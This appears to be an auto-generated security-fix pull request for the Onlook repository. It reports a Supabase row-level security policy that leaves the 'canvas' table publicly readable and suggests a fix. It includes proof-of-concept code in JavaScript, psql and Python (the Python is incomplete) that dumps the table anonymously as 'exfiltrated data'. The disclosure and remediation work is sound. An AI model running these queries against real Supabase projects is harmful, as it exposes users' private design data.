Security Fix

This PR addresses a CRITICAL severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Critical	In this visual development repository, the 'canvas' table likely stores user-created designs or project canvases, and making it publicly readable exposes all such data to any unauthenticated user, leading to a complete data breach that could leak sensitive intellectual property, personal projects, or collaborative work. This bypasses intended access controls, allowing attackers to access and potentially misuse or sell the exposed content.
Likelihood	High	As a GitHub-hosted project for a collaborative design tool, the repository is likely deployed as a web application using Supabase, where the database is accessible via API calls, making it straightforward for attackers with basic tools to query and extract data without authentication. The public nature of the tool and potential attacker motivation to steal designs increase exploitability.
Ease of Fix	Easy	Remediation involves modifying the RLS policy in the migration SQL file from 'USING (true)' to a proper condition like 'USING (user_id = auth.uid())' to enforce authentication-based access, requiring only a simple code change and re-running the migration without complex refactoring or dependencies.

How This Vulnerability Can Be Exploited

The misconfigured Row-Level Security (RLS) policy in the Supabase migration allows any user, including unauthenticated ones, to perform SELECT operations on the 'canvas' table with 'USING (true)', effectively making all data in this table publicly readable. In the context of the Onlook repository, which appears to be a visual UI development tool where the 'canvas' table likely stores user-created project designs, components, and potentially sensitive code snippets or metadata, an attacker could exploit this by directly querying the Supabase database via its client library or API endpoints without needing authentication. This bypasses intended access controls, enabling data exfiltration from the 'canvas' table, which is central to the application's functionality.

// Proof-of-Concept: Exploiting public RLS on 'canvas' table using Supabase JS client
// This assumes the Supabase project is publicly accessible (common in development setups)
// Attacker needs no authentication; just the Supabase URL and anon key (often exposed in client code)

import { createClient } from '@supabase/supabase-js';

// Replace with actual Supabase URL and anon key from the repository's client configuration
// (e.g., found in apps/frontend/src/lib/supabase.ts or similar config files)
const supabaseUrl = 'https://your-project-ref.supabase.co';  // From repo's Supabase setup
const supabaseAnonKey = 'your-anon-key-here';  // Public anon key, no auth required

const supabase = createClient(supabaseUrl, supabaseAnonKey);

// Exploit: Query all data from the 'canvas' table anonymously
// This will succeed due to the misconfigured RLS policy allowing public SELECT
async function exploitCanvasData() {
  const { data, error } = await supabase
    .from('canvas')  // Target the vulnerable 'canvas' table
    .select('*');   // Select all columns (e.g., id, project_id, design_data, etc.)

  if (error) {
    console.error('Query failed:', error);
  } else {
    console.log('Exfiltrated data:', data);
    // Attacker can now process or exfiltrate the data (e.g., send to a remote server)
    // Data might include JSON blobs of UI designs, code, or user-specific metadata
  }
}

exploitCanvasData();

# Alternative exploitation via direct PostgreSQL connection (if Supabase DB is exposed)
# This requires knowing the DB connection string, which might be leaked in repo configs or env vars
# Attacker uses psql or a client to connect anonymously and query

# Example command (replace with actual connection details from repo's supabase/config.toml or env)
psql "postgresql://postgres:[password]@db.your-project-ref.supabase.co:5432/postgres" -c "SELECT * FROM canvas;"

# If using a Python script for automation:
# pip install psycopg2-binary

# Python-based PoC using psycopg2 for direct DB access
import psycopg2

# Connection string from repository's Supabase configuration (e.g., in apps/backend/.env or migrations)
conn_string = "postgresql://postgres:[password]@db.your-project-ref.supabase.co:5432/postgres"

try:
    conn = psycopg2.connect(conn_string)
    cur = conn.cursor()
    cur.execute("SELECT * FROM canvas;")  # Exploit the public SELECT policy
    rows = cur.fetchall()
    print("Exfiltrated canvas data:", rows)  # Output could include all project canvases
    cur.close()

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	High	Full access to all data in the 'canvas' table, which stores user-created UI project designs, component metadata, and potentially code snippets or proprietary workflows in the Onlook tool. An attacker could exfiltrate entire project canvases, leading to theft of intellectual property, exposure of sensitive design data, or leakage of user-specific information if canvases include embedded credentials or personal data.
System Compromise	Low	No direct system access is gained; the vulnerability is limited to read-only database queries. An attacker cannot execute code, escalate privileges, or access the host system, but exfiltrated data could inform secondary attacks like credential stuffing if related tables are queried.
Operational Impact	Medium	While no direct service disruption occurs from reads, mass queries could exhaust database resources, causing slowdowns or temporary unavailability for legitimate users. If attackers delete or corrupt data (though SELECT-only, combining with other vulns might enable this), it could lead to project loss and require backups, impacting the tool's usability for UI development workflows.
Compliance Risk	High	Violates data protection standards like GDPR (if EU user data is involved in canvases) by allowing unauthorized access to potentially personal or business-sensitive information. Also breaches OWASP Top 10 (A01:2021 - Broken Access Control) and could fail SOC2 audits for data security, risking fines or loss of trust in a tool used for collaborative development.
